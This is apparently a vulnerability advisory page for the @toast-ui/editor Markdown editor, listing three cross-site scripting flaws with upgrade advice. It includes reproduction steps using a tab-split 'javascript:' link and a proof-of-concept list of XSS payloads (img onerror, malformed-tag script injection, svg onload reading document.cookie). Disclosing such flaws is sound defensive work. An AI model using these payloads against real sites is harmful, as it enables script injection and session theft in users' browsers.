@toast-ui/editor@2.0.0-alpha vulnerabilities

@toast-ui/editor is a GFM Markdown Wysiwyg Editor.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Base tags are not sanitized which can be leveraged for XSS.

Upgrade @toast-ui/editor to version 3.0.2 or higher.

@toast-ui/editor is a GFM Markdown Wysiwyg Editor.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). User input is not properly sanitized before being included in the HTML context, specifically the href attribute of anchor tags.

Steps to Reproduce

1. Visit the following URL: https://nhn.github.io/tui.editor/latest/tutorial-example01-editor-basic
2. Input in the left pane the following string by making sure the character after the 'j' and before the 'a' is a TAB (0x09) and not a sequence of spaces (0x20): `<a href='j avascript:alert(document.domain)'>click me</a>`
3. Click on the "click me" text in the right page
4. Notice the JavaScript code `alert(document.domain)` is executed

The injected JavaScript code should be executed.

Upgrade @toast-ui/editor to version 3.0.2 or higher.

@toast-ui/editor is a GFM Markdown Wysiwyg Editor.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). JavaScript inserted into the editor is not sanitized by the library.

PoC

<img foo=">" src=x onerror="alert(1)">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<svg onload="javascript:alert(document.cookie)" xmlns="#"></svg>

Upgrade @toast-ui/editor to version 2.1.0 or higher.